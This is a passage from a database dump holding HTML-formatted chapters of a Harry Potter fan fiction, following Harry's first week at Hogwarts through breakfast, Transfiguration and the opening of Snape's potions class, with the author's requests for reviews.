sleep.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Only\nyou, Harry, Only you.\' Ron muttered shaking his head. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron actually thought that Harry\nwas joking about sleeping in a cupboard since Harry hadn\'t told anyone about\nhis life at the Dursleys. If he had Ron might have\nflipped so Harry figured he had plenty of good reasons not to tell anyone about\nthe Dursleys. In fact, as Harry learned more about\nhow a &quot;normal family&quot; functioned, like the Weasleys,\nhe became more and more embarrassed for living with the Dursleys.\n</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' We\'d\nbetter get going now if we don\'t want to miss breakfast.\' Harry said, searching\nthrough his trunk for his robes. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron had laid back down for a few\nmore minutes\' sleep, but when Harry mentioned missing breakfast he popped out\nof bed and zoomed around the room collecting his books for classes and getting\ndressed in his robes. He ended up having to wait for Harry, who had stopped\ngetting ready to watch Ron set a new time record for getting ready for school;\nHarry was currently unable to get up off the floor due to waves of laughter\nwhich only increased with Ron\'s annoyed glare. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Eventually the boys arrived at\nthe Great Hall. The Gryffindor table was packed with students laughing and\njoking with their friends as they ate breakfast. Ron spotted his brothers and\nheaded over. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Jeez!\nIs it always this crazy?\' He asked Fred. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Naw. It\'s just that this is the first day.\' George\nanswered. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' People\ndon\'t want to annoy their Professors on the first day.\' Fred continued. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' It\'s\nusually like this.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' For\nthe first week.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Or\ntwo.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry just stared at the twins\nfor a moment then burst out laughing. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh\nman!\' Harry said trying to catch his breath. \' Did you\ntwo rehearse that or something?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' They\nalways talk like that, Harry. You\'ll get used to it.\' Ron explained. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oi! Fred, George. Hey Harry!\' said a girl walking up\nbehind Harry and Ron. \' Sleep well?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Huh?\'\nHarry turned to face the newcomer. \' Oh! Hi Katie!\nYeah I did thanks.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' What\'re\nyou talking about Harry? You slept on the floor! How could you have possibly\n&quot;slept well&quot;? \'Ron demanded. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The rest of the group gave Harry\nodd looks. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well I\nguess I\'m just used to it.\' Harry mumbled self-consciously. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The others looked like they were\nabout to say more, but Harry was saved from interrogation by Percy, who had\ncome around the table handing out timetables to the first years. He handed Ron\nand Harry theirs without so much as a nod to each of\nthem. He was looking rather harassed, and his eyes were red and bloodshot. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' What\'s\nup with him?\' Ron asked. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh\nhe\'s like that every year on the first day.\' George explained. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' We\nthink he stays up all night reviewing all the rules or something.\' Fred said. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Just\nin case they\'ve added some new ones during the summer.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' So\nwhat have you guys got?\' Fred asked Harry and Ron. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Wait a\nminute. I thought you knew.\' Harry demanded. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Fred and George looked at each\nother for a moment then burst out laughing in perfect unison. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' One of\nyou told me last night that I had potions with Prof. Snape\ntoday!\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' And\nYOU believed me!\' Fred gasped between gales of laughter. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' One\nthing you need to learn, even before classes start, is to never trust anything\nmy brothers tell you. EVER!\' Ron told Harry. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The twins had stopped laughing in\ntime to hear this and became quite indignant. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' That\'s\nnot true!\' started George. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' There\nare SOME things...\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' We\'d\nNEVER lie about.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yeah!\nYou\'ll NEVER hear us saying...\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' How\nwonderful Snape is or...\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' How\nmodest Percy is!\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry and Ron just shook their\nheads and turned away to look for an open seat. As they were about to leave\nthough, Katie called them back. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Where\nare you going? Have you already had breakfast?\' she asked. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' No, we\nwere just going to go find an open spot.\' Ron answered. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Why\ndon\'t you sit here with us?\' Katie said as another girl came up. \' You just have to know how to MAKE some space. Right Alicia?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">She then turned back to Fred and\nGeorge and, shoving them aside, sat down between them. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Then Alicia did the same. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry had expected people to be\nshoved off the ends when they sat down but apparently the benches were\nenchanted to accommodate extra students like this, so he and Ron sat down to\nthe best breakfast Harry had eaten in a long time. Even Tom\'s scrambled ??? eggs and bugbear\nbacon weren\'t THIS good (Harry had never got up the nerve to ask what KIND of\neggs Tom had used, but they had been an odd shade of orange). </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">When Harry was about half done\nhis breakfast, the windows at one end of the Great Hall opened by themselves\nand a loud rush of wings could be heard approaching. Then there was a cloud of\nfeathers and wings and beaks as all of the students\' owls tried to deliver\ntheir owners\' mail at the same time. Owls were buzzing down all the tables\ntrying to find their owners and landed on the table when they did find the\nright student. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Unfortunately the tables were\nalready crowded with breakfast dishes and no one had told the first years to\nprepare for this. Consequently several students were forced to go back to their\ncommon rooms to change after spilling pumpkin juice on their robes. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt"></p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry saw Hedwig come through the\nwindows last, and she didn\'t waste time flying around the hall but flew\nstraight to him; almost like she had known EXACTLY where Harry was. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hedwig didn\'t have anything for\nHarry, but had, seemingly, come just to say hello to him. Hedwig stayed long\nenough to have some of Harry\'s toast then left with the other owls. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Wow,\nHarry. You\'re lucky to have an owl like that.\' Ron said, looking rather\nenvious. \' What kind was it?\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Ummmm... I can\'t remember exactly, but I think that Hagrid said it was a Tus-ook-oh\nowl... or at least it sounded like that. I tried to look it up in \'Magical\nCreatures and Where to Find Them\', but I didn\'t find\nanything.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' I wish\nI had my own owl as well.\' Ron said with a look of longing. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Then\nuse mine when you need one.\' Harry told him. \' It\'s\nnot like there\'s anyone outside of this school that would be owling me, or that I\'d need to send an owl to.\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Really,\nHarry?! Wow, thanks!\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry stabbed the last piece of\nsausage with his fork, put it in his mouth and bit down... on air! He blinked\nand looked at his empty hand and then at the rest of the table. All of the\nfood, dishes and utensils had disappeared. Breakfast, apparently, was over. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The first lesson for the\nGryffindor first years was herbology, which was held\noutside in the school\'s greenhouses. For this class their teacher was Prof.\nSprout who told them that &quot;...although the majority of herbs wizards use are magical, there are many potent, but non-magical,\nherbs that are extremely powerful.&quot; She warned them not to think something\nwas safe to handle just because it had no natural magical properties. She used\nthe example of garlic and vampires. Garlic has no magical properties but it\nwill cause terrible allergic reactions in vampires because something about its\naroma interferes with a vampire\'s willpower. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry and Ron quickly learned the\nreason for the long time in between classes. The castle had one hundred forty\ntwo staircases, not all of which always led to the same place. Then there were\nthe doors that had to be asked NICELY, or tickled in the right place, before\nthey would open. Some doors weren\'t even doors, in fact, and were just parts of\nthe wall that felt like pretending to be a door. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron and Harry took to following\nFred and George around whenever they were going to the same place, and Harry\nfound their directions to be of great help, when he could tell which ones\nwouldn\'t end up with him and Ron walking into a girls\' lavatory. After a few days of following Fred and George around the school Ron\nand Harry had learned enough of the secret passages and false stairways to be\nable to find their way to their classes on their own, and much faster than the\nother first years, except for Hermione. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hermione always seemed to be the\nfirst to get to each class, and was usually sitting at the front of the class,\nwhen Ron and Harry arrived, with her nose in the textbook for that class. She\nwas also always the first to raise her hand when a Prof. asked a question, even\nif the question was directed at a particular student. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">To Harry\'s infinite relief, many\nstudents had come from muggle families and so he\nwouldn\'t have been at a disadvantage and besides that, there was simply so much\nto learn that even kids from wizarding families\ndidn\'t have much of an advantage. After having read all of the course books\nonce or twice in Diagon Alley Harry actually had an\nadvantage, even over those students that came from magical families. Harry had\nalways been able to remember whatever he read, so now all he had to do was\nlearn how it applied to the tasks the Profs gave them instead of having to\nlearn it and THEN apply it. Hermione though, seemed to always be a chapter or\ntwo ahead of the class in the textbook and had no trouble at all applying the\ntheory to problems. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The first week was one that Harry\nknew he would never forget; if he lived to forget everything else, even his own\nself, he would never forget the happy memories he made and the friends he met\nthat week. Nor would he forget the possible enemies that he also made. The only\nother time Harry had been near as happy for more than a day was while he had\nbeen staying at the Leaky Cauldron. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Charms class had been slightly\nembarrassing on the first day as the tiny Prof. Flitwick,\n(who had to stand on several thick books or on his chair in order to be seen\nbehind his desk) had fallen over when he called out &quot;Potter, Harry&quot;\nwhile taking attendance, and everyone had turned to stare at Harry when he\nanswered that he was present. Other than the initial embarrassment the class\nwas quite enjoyable, and Harry found that he was rather good at the work. After\nRon got a little help from Harry, the two were able to match Hermione in the\nclass, which was a rather considerable feat. Of course it was mostly because\nProf. Flitwick assigned very little in the way of\nwritten homework, which was what Hermione did best at and Ron and Harry often\ndidn\'t do it at all until the last minute. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Transfiguration served to shatter\nmany muggleborns\' ideas about magic with the\nexception of Harry. Harry had always enjoyed things like science at school and\nliked to know how things worked. Most muggleborns had\nthe initial stereotype that magic was just waving your wand and saying things\nin Latin or other obscure languages; whereas, magic was actually much more\ncomplex than that, as Prof. McGonagall demonstrated in the first class. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\'\nTransfiguration is possibly some of the most dangerous magic that you\nwill be learning at Hogwarts. Anyone messing around in my class will leave and\nnot come back.\' McGonagall said giving the class a stern look. When no one made\nany move to leave and she decided they had taken her warning seriously enough\nshe turned to her desk and changed it into a pig and then back. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After the display the students\nwere eager to start, but they quickly learned that they wouldn\'t be doing\nanything so spectacular anytime soon. They took long, complicated notes on\nthings like the best way to grip your wand to do transfiguration and how\ndifferent materials reacted to being transfigured. After all that they were\ntold to form groups of two and to collect a few matches from McGonagall\'s desk\nfor each group. They were then to attempt to turn them into silver needles\n(apparently silver was easy to transfigure things into if they had once been\nalive but were now dead, like the wood in the matches). </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Do not\nbe disappointed if you can\'t make any difference in your matches for today. The\nexercise is meant to accustom you to the different grips on your wand and so\nyou will learn the feel of magic. Normally we hold our magic in naturally, the\nsame as we breathe without thinking about it. Now you must learn how to release\nthat hold. Once you know how you feel when you are holding your magic ready, it\nwill be easier to use.\' Prof. McGonagall lectured them as they practiced. \' I will be very impressed indeed if anyone is able to make\nany difference toda-\' </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">McGonagall was cut off by a\ntriumphant &quot;Ha!&quot; from Hermione, who had managed to turn her match\nhard and slightly grey. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Prof. McGonagall went over to\nexamine Hermione\'s success, and showed it to the class, saying how Hermione had\nthe right idea and that anyone that was having trouble should ask Hermione for\nhelp if McGonagall herself was busy. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron glared at the back of\nHermione\'s head and Harry rolled his eyes, both at Ron and at Hermione\'s\nannoyingly smug look. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry thought he knew exactly the\nfeeling that McGonagall had been talking about. He had sometimes felt an odd,\nbut entirely pleasant sensation, while meditating. He was only able to get that\nfeeling when he was very deep in his meditation and then only if there were no\ndistractions. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">He gripped his wand and tried to\ncall the same feeling to mind. Almost immediately he felt it. It wasn\'t as\nstrong as when he was meditating and there was some intangible difference to\nthe feeling, but he knew that it was the right feeling. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry thought carefully and made\nsure he remembered the feeling so he could call it up again for other classes.\nThen, while Ron was still busy glaring at Hermione and mumbling something about\nknow-it-all teacher\'s pets, Harry pointed at the match and whispered\n&quot;Spine ona permutatia.&quot;\n</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For a moment nothing happened, then the match quivered and began to stretch. As one end\nstarted to mold itself into the eye of a needle the whole match was suddenly\npure silver. Harry watched in amazement as the match finished changing. Its\npoint was a little dull but the match was now a silver needle in every other\nway. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry was about to call out his\nsuccess before he remembered Ron\'s reaction to Hermione\'s achievement. Harry\ndidn\'t want Ron to look at him the way he was looking at Hermione, and if people\nalready thought he was a great wizard for doing whatever he had to Voldemort then they weren\'t likely to dismiss this very\neasily. He would probably just attract more unwanted attention. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">He wanted to perform the reversal\nspell, which McGonagall had also told them to learn but his mind was in too\nmuch turmoil, so instead he pocketed the match/needle. Just in time to, as Ron\nhad just finished glaring at Hermione and turned back to the match. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Huh?\nWhat\'d you do with our match Harry?\' he asked. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Ummm... I think-\' Harry began but was saved from\nhaving to say more by McGonagall calling out their homework and then dismissing\nthem for lunch. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">The first years all had each\nsubject for no less than two lessons each week and by the time the second\nlesson came about most people, even Neville, were able to make the matches the\nright colour and shape. By then, though, Harry had\nalready mastered it, as well as Hermione. Hermione was told to wait for someone\nto need help and then to give it to them since there was nothing else left for\nher to do. Harry on the other hand, once he realized he had the task mastered,\nhad started trying out some ideas he got from the books. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Instead of just turning the match\ninto a silver needle, he tried changing it from one type of metal to another.\nAnyone that noticed just thought that he hadn\'t quite gotten it right yet; they\ndidn\'t realize that when they saw him get the wrong result he was actually\ndoing something more difficult. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Most of the lessons went like\nthis, with Harry learning what was taught quickly but hiding it until the\nothers mastered it, then discreetly trying harder variations on the lesson. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">By the end of their first week at\nHogwarts, Ron and Harry were becoming familiar with the castle and it\'s daily routines. Harry was happier sitting in the common\nroom with Ron, doing homework, than he had ever been anywhere else but the\ndojo. However, they still hadn\'t had a potions lesson and it was Friday. They\nwere scheduled for double potions with Snape and the Slytherins. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry was not looking forward to\nthe lesson. During the feast on the first night Harry had noticed Snape giving him odd, almost hateful looks, and had been\ndoing so every time the two passed in the halls. Harry took little note of this\nas the Dursleys had always given him such looks;\nHarry might not have recognized the Dursleys if they\never stopped sneering or glaring at him. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- Review with criticism and anything else please!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 13, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Any suggestions, comments or complaints, about the\nstory, are welcome. PLEASE review!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">By the end of their first week at\nHogwarts, Ron and Harry were becoming familiar with the castle and it\'s daily routines. Harry was happier sitting in the common\nroom with Ron, doing homework, than he had ever been anywhere else but the\ndojo. However, they still hadn\'t had a potions lesson and it was Friday. They\nwere scheduled for double potions with Snape and the Slytherins.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry was not looking forward to\nthe lesson. During the feast on the first night Harry had noticed Snape giving him odd, almost hateful looks, and had been\ndoing so every time the two passed in the halls. Harry took little note of this\nas the Dursleys had always given him such looks;\nHarry might not have recognized the Dursleys if they\never stopped sneering or glaring at him.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">During breakfast, the post\narrived as usual, and Hedwig came to visit Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hedwig usually came to visit\nHarry during breakfast, and, Harry suspected, to be admired by the other\nstudents at the table who all thought that the pure white owl was magnificent.\nEven the students who already had owls of their own were jealous of Harry. They\nthought that Harry and Hedwig went very well together, especially when they saw\nHedwig\'s bright green eyes that matched Harry\'s perfectly.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">This time Hedwig had brought\nHarry a note. It was written in an untidy scrawl that Harry instantly\nrecognized as Hagrid\'s.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Dear Harry,</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">I know you get Friday afternoons\noff, so would you like to come and have a cup of tea with me around three? I\nwant to hear all about your first week. Send us an answer back with Hedwig.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hagrid</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron and Harry quickly decided\nthat if their potions class was anywhere near as bad as the other Gryffindors told them it would be then they would probably\nneed some cheering up afterwards and Hagrid\'s\nirrepressible cheerfulness was always infectious. Harry borrowed Ron\'s quill\nand wrote on the back of the note.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">That\'d be great Hagrid. Ron and me will see you\nthen!</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry gave the note back to\nHedwig who was sitting on Neville\'s shoulder, making the boy quite nervous but\nat the same time pleased at the attention the other students were giving him.\nHedwig took the note with a cheerful hoot and took off, causing Neville to\nflinch.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Are\nyou sure it\'s all right if I come with you Harry? I mean I\'ve never really met Hagrid before so-\' Ron started to say but was cut off by\nHarry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Don\'t\nbe silly. Of course it\'s all right. Hedwig probably wouldn\'t have given me the\nnote in front of you if she thought that it would offend you.\' Harry said\njokingly, but it was the truth.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hedwig had actually brought Harry\nseveral letters through the week, but any that the Prof.s\nsent to congratulate Harry on his high marks, Hedwig didn\'t deliver until Harry\nwas alone. Harry didn\'t know how she knew which letters to bring and which ones\nshould wait. He didn\'t think that Hedwig could read the letters so he just\ndecided it had something to do with her special powers, and he vowed to find a\nbook with some information on Tusuko owls.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Yeah\nright.\' Ron answered grinning. \' She probably reads\nall your mail before she delivers it just in case it might offend you!\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry laughed along with Ron\nuntil the breakfast plates all disappeared, signalling\nthe end of breakfast and the beginning of classes for the day.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron and Harry both stopped\nlaughing at once and their faces became solemn.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nHarry, it\'s been good knowing you.\' Ron said with mock severity before grinning\nand shaking his head ruefully.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron and Harry had little trouble\nfinding their way to the dungeons in the bottom of the castle even though it\nwas their first time down there. As usual though, Hermione was there before\nthem with her head in a book.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron gave her a disgusted look.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' How\ncan she be so stuck up?\' he muttered to Harry who just rolled his eyes. \' I mean she\'s always got her nose in one book or another.\nWhat does she think, we\'re not good enough for her to\ntalk to?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Chill,\nRon.\' Harry said. \' She just likes to read. Some\npeople do enjoy it you know.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron had only been at Hogwarts for\na few days but already his temper was well known. He would fly off the hook at\nseemingly small things and was very hard to calm down. He usually listened to\nHarry though. Not because Harry was &quot;The-Boy-That-Lived&quot;, but because\nHarry was Ron\'s good friend. In fact usually Harry only had to tell him to chill\nand he would calm down right away (anyone else that tried to tell him to\n\'Chill\' learned why he was well known for his temper). This time, however, Ron\ndidn\'t &quot;Chill&quot; very much.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well\nanyone that enjoys reading must be as weird as her.\' Ron grumbled.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry looked at Ron without\nexpression and said \' I happen to agree with her. Reading is quite interesting\nif want to know about what the book is saying.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Ahhh... Well you... But it\'s\ndif-\' Ron stumbled, trying to correct himself so as not to insult his friend.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry just chuckled and shook his\nhead. \' You know, you do that to. Get so stuck in a\nbook that you don\'t notice anything else I mean.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron looked outraged. \' I do NOT!\' he growled.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry just shook his head again. \' So are you telling me that you haven\'t read &quot;Orange:\nThe Chudley Cannons Off The Field&quot; cover to\ncover several times?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron looked surprised for a\nmoment, then smiled sheepishly and scratched his head. ^_^&#191;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">On the other side of the room\nHermione had heard the whole conversation. She knew her high marks weren\'t\nwinning her any friends, and she had noticed Ron\'s glares before but she hadn\'t\nknown just how much he seemed to hate her. After hearing Ron\'s first comment,\nshe had come close to tears until she heard Harry say something to Ron. She\nhadn\'t been able to make it out as Harry always talked softly, but she was able\nto hear the rest of the conversation by sitting very still and listening hard.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Most of the other students would\nhave just agreed with Ron but Hermione had noticed that Harry always tried to\nstop others from making fun of her, or anyone else, like Neville. It\'s not like\nhe did anything like yell at them for being so insensitive (As Hermione wished\nshe had the guts to do.). Harry just had a way of talking that most people\nlistened to, even second and third years (the older students had mostly\noutgrown making fun of people for things like reading). She expected to hear\nHarry say something like &quot; Leave her alone. She\ndoesn\'t need you hassling her with everyone else.&quot;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Whatever else Hermione had\nexpected to hear, she didn\'t expect to hear Harry defending her to his best\nfriend. Hermione had been expecting potions to be pretty horrible, after all\nshe had heard about it, but if someone that was liked, as much as Harry, was\nstarting to defend her... well then, maybe things would start to get better.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hermione stopped listening after\nthe boys\' conversation turned towards Quidditch. But\nby now other students had started to arrive and take seats at the rows of\ntables, with the Gryffindors staying to the back and\nthe Slytherins at the front, so she couldn\'t have\nheard what was being said anyway.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron was so involved in his\nconversation about Quidditch, with Harry, that he\ndidn\'t notice that the tables were quickly being filled up, with four to each\ntable. Eventually he did notice but by that time there were only three seats\nleft, and they were all at the table where Hermione was sitting.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron let out a groan when he\nnoticed.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Oh\nman, Harry. Look at what we\'re stuck with!\' Ron said, pointing at Hermione, who\nchose to ignore Ron. \' We\'re gonna\nhave to sit with Hermione, and since Neville\'s not here yet he\'ll be stuck with\nus to.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry just nodded and walked\ntowards the table Hermione had chosen. He had noticed all the other tables\nbeing taken, but had counted on Hermione\'s being empty. He thought that, if Ron\nwas forced to work with Hermione for a while, he might stop hating her so much.\nHarry actually had no idea why Ron hated Hermione so much. They had never even\nspoken to each other. The fact that Ron and him would\nalso have to work with Neville wasn\'t too appealing to Harry, but he figured\nthat Neville couldn\'t possibly be as naturally clumsy as Harry had been told he\nwas.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Hello.\'\nHarry said as he walked up to Hermione\'s table and sat down, taking the seat\ndiagonal from Hermione forcing Ron to sit in front of her or beside her. \'\nHermione, right?\' he asked as Ron sat down beside her, figuring that he\'d\nrather be annoyed by Hermione than injured by Neville.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hermione looked up from her book\njust long enough to return the greeting and then went right back to reading.\nHarry looked at the title.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' 25\nWays To Detect A Charm\' by Espy Cantrip. Harry had\nbeen looking for that book in the library earlier. He had wanted to see if it\nsaid anything about people that were able to see a charm without the aid of a\nspell. He opened his mouth to ask if he could borrow the book when she was\nfinished, but just then the door to the dungeon flew open. It then shut behind\nthe man who had just entered with a click that sounded eerily final.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">If Harry hadn\'t noticed by now\nthat Professor Snape had a great dislike for him,\nthere was no doubt left in his mind after the first potions lesson. Only Vernon\nDursley hated Harry more than Snape\nit seemed, but Harry had been living with the Dursleys\nall his life and had come to expect their treatment of him, so Snape\'s attitude wasn\'t too hard to endure.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Snape\nhad just started to take the register when there was a thump outside the door. Snape glared at the door for a moment, but when no one came\ninto the class, he walked over and jerked it open.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Scrambling around on the floor,\ntrying to gather his notes and books, was Neville. He had obviously gotten lost\non the way to class and in his haste had dropped all his materials.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Longbottom I presume?\' Snape\nhissed as Neville got to his feet with a red face and hunched shoulders. Snape curled his lip and looked about the room.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Sit\ndown over there, and the next time you are late and/or disrupt this class, it\nwill be ten points from Gryffindor.\' Snape said\npointing at the only available seat, next to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Snape\ncontinued taking the register without further commotion, until he reached:</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Potter,\nHarry.\' Snape called with a sneer. \'\nAh yes. Our new... celebrity.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry knew that Snape was probably trying to provoke him since Vernon\nhad done the same on a daily basis to try and make Harry do something that\nwould give him an excuse to punish Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Instead of reacting to the\ncomment, Harry answered \' Present.\' and nothing else, but it was hard to ignore\nthe snickers coming from the Slytherin\'s half of the\nroom.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After waiting a moment, as if to\nsee if Harry might make some comment after all, Snape\nfinished taking the register and looked up at the class, with a slightly\ndisdainful look.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">His eyes and his hair were the\nsame black colour as Hagrid\'s,\nbut all similarities ended there. Snape\'s eyes lacked\nany of the cheerful sparkle that was constantly present in Hagrid\'s\neyes, and while 